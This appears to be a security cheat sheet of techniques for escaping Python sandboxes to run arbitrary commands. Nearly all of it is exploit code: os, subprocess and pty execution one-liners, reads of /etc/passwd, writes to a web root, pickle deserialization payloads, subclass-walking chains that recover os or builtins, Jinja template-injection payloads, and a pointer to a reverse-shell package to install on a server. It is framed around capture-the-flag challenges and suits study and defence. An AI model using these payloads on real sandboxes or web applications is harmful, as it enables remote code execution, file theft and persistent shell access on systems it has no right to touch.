These are some tricks to bypass python sandbox protections and execute arbitrary commands.
Command Execution Libraries
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox.
Python2 input() function allows to execute python code before the program crashes.
Python try to load libraries from the current directory first (the following command will print where is python loading modules from): python3 -c 'import sys; print(sys.path)'
Bypass pickle sandbox with default installed python packages
#Note that here we are importing the pip library so the pickle is created correctly#however, the victimdoesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the setup.py, and put your IP for the reverse shell:
This package is called Reverse.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave.
Eval-ing python code
This is really interesting if some characters are forbidden because you can use the hex/octal/B64 representation to bypass the restriction:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
In a previous example you can see how to execute any python code using the compile function. This is really interesting because you can execute whole scripts with loops and everything in a one liner (and we could do the same using exec).
Anyway, sometimes it could be useful to create a compiled object in a local machine and execute it in the CTF (for example because we don't have the compile function in the CTF).
For example, let's compile and execute manually a function that reads ./poc.py:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlyimport __builtin__mydict ={}mydict['__builtins__']= __builtin__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
If you cannot access eval or exec you could create a proper function, but calling it directly is usually going to fail with: constructor not accessible in restricted mode. So you need a function not in the restricted environment call this function.
If you can access to the__builtins__ object you can import libraries (notice that you could also use here other string representation showed in last section):
When you don't have __builtins__ you are not going to be able to import anything nor even read or write files as all the global functions (like open, import, print...) aren't loaded.
However, by default python import a lot of modules in memory. This modules may seem benign, but some of them are also importing dangerous functionalities inside of them that can be accessed to gain even arbitrary code execution.
In the following examples you can observe how to abuse some of this "benign" modules loaded to accessdangerousfunctionalities inside of them.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__'].__import__("os").system("ls")# The os._wrap_close class is usually loaded. Its scope gives direct access to os package (as well as __builtins__)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'_sitebuiltins."instr(x)andnot"_Helper"instr(x) ][0]["sys"].modules["os"].system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'imp."instr(x) ][0]["importlib"].import_module("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'imp."instr(x) ][0]["importlib"].__import__("os").system("ls")
Python2 and Python3
# Recover __builtins__ and make eveything easier__builtins__=([x for x in (1).__class__.__base__.__subclasses__()if x.__name__=='catch_warnings'][0]()._module.__builtins__)__builtins__["__import__"]('os').system('ls')
Discovering loaded variables
Checking the globals and locals is a good way to know what you can access.
>>>globals(){'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>>locals(){'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
Discovering more loaded methods for arbitrary execution
Here I want to explain how to easily discover more dangerous functionalities loaded and propose more reliable exploits.
Accessing subclasses with bypasses
One of the most sensitive parts of this technique is to be able to access the base subclasses. In the previous examples this was done using ''.__class__.__base__.__subclasses__() but there are other possible ways:
#You can access the base from mostly anywhere (in regular conditions)[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"## You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()#If attr is present you can access everything as string## This is common in Djanjo (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Finding dangerous libraries loaded
For example, knowing that with the library sys it's possible to import arbitrary libraries, you can search for all the modules loaded that have imported sys inside of them:
There are a lot, and we just need one to execute commands:
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
We can do the same thing with other libraries that we know can be used to execute commands:
#os[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"os"in x.__init__.__globals__ ][0]["os"].system("ls")#commands (not very common)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"commands"in x.__init__.__globals__ ][0]["commands"].getoutput("ls")#subprocess[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"subprocess"in x.__init__.__globals__ ][0]["subprocess"].Popen("ls")#pty (not very common)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pty"in x.__init__.__globals__ ][0]["pty"].spawn("ls")#importlib[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")#sys[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")#builtins[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
Moreover, we could even search which modules are loading malicious libraries:
Moreover, if you think other libraries may be able to invoke functions to execute commands, we can also filter by functions names inside the possible libraries:
In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it.
dir()#General dir() to find what we have loaded['__builtins__','__doc__','__name__','__package__','b','bytecode','code','codeobj','consts','dis','filename','foo','get_flag','names','read','x']dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ and func_globals(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ and func_code: You can access this to obtain some internal data of the function
#Get the optionsdir(get_flag.func_code)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
#Get internal varnamesget_flag.func_code.co_varnames('some_input','var1','var2','var3')#Get the value of the varsget_flag.func_code.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')#Get bytecodeget_flag.func_code.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Notice that if you cannot import dis in the python sandbox you can obtain the bytecode of the function (get_flag.func_code.co_code) and disassemble it locally. You won't see the content of the variables being loaded (LOAD_CONST) but you can guess them from (get_flag.func_code.co_consts) because LOAD_CONSTalso tells the offset of the variable being loaded.